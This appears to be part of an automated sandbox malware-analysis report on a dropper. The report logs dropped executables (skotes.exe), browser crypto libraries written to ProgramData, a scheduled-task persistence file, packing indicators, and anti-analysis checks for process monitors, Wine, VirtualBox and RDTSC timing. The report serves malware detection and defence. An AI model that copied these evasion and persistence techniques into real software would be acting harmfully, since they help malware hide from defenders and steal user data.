Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1789952 > 1048576

Source: file.exe

Static PE information: Raw size of vadppzyc is bigger than: 0x100000 < 0x19b200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2611648980.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.7c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vadppzyc:EW;netrwjfr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vadppzyc:EW;netrwjfr:EW;.taggant:EW;
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Unpacked PE file: 21.2.DocumentsCBFBKFIDHI.exe.970000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.500000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iqclzlke:EW;yhvedyov:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C55C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C55C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: real checksum: 0x1d1f7d should be: 0x1d35ed
Source: file.exe	Static PE information: real checksum: 0x1b922c should be: 0x1c4c4c
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d1f7d should be: 0x1d35ed
Source: skotes.exe.21.dr	Static PE information: real checksum: 0x1d1f7d should be: 0x1d35ed

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vadppzyc
Source: file.exe	Static PE information: section name: netrwjfr
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: iqclzlke
Source: random[1].exe.0.dr	Static PE information: section name: yhvedyov
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name:
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name:
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: iqclzlke
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: yhvedyov
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: iqclzlke
Source: skotes.exe.21.dr	Static PE information: section name: yhvedyov
Source: skotes.exe.21.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B536 push ecx; ret		0_2_6C52B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0051D91C push ecx; ret		25_2_0051D92F

Source: file.exe	Static PE information: section name: vadppzyc entropy: 7.953724978034687
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.97879529476559
Source: random[1].exe.0.dr	Static PE information: section name: iqclzlke entropy: 7.9531522417891924
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: entropy: 7.97879529476559
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: iqclzlke entropy: 7.9531522417891924
Source: skotes.exe.21.dr	Static PE information: section name: entropy: 7.97879529476559
Source: skotes.exe.21.dr	Static PE information: section name: iqclzlke entropy: 7.9531522417891924

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCBFBKFIDHI.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCBFBKFIDHI.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCBFBKFIDHI.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCBFBKFIDHI.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsCBFBKFIDHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5555F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5555F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCBFBKFIDHI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC5B second address: A0FC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FC5F second address: A0FC63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B398 second address: B8B3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC7CD69BFBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B3AB second address: B8B3B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B4EB second address: B8B4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D360 second address: B8D376 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC7C7C7EABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D44A second address: B8D44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D58E second address: B8D59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 js 00007FEC7C7C7EACh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFAD2 second address: BAFAD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFAD8 second address: BAFAE5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75216 second address: B75224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC7CD69BFAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B75224 second address: B7524E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 js 00007FEC7C7C7EA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e jmp 00007FEC7C7C7EB2h 0x00000013 push esi 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 pop eax 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADB4B second address: BADB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADB50 second address: BADB5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADC95 second address: BADC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADC9A second address: BADC9F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7BC second address: BAE7DE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC7CD69BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FEC7CD69C05h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7DE second address: BAE7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7E3 second address: BAE7EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FEC7CD69BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA212B second address: BA2146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jc 00007FEC7C7C7EA6h 0x0000000c jmp 00007FEC7C7C7EAAh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA2146 second address: BA214C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
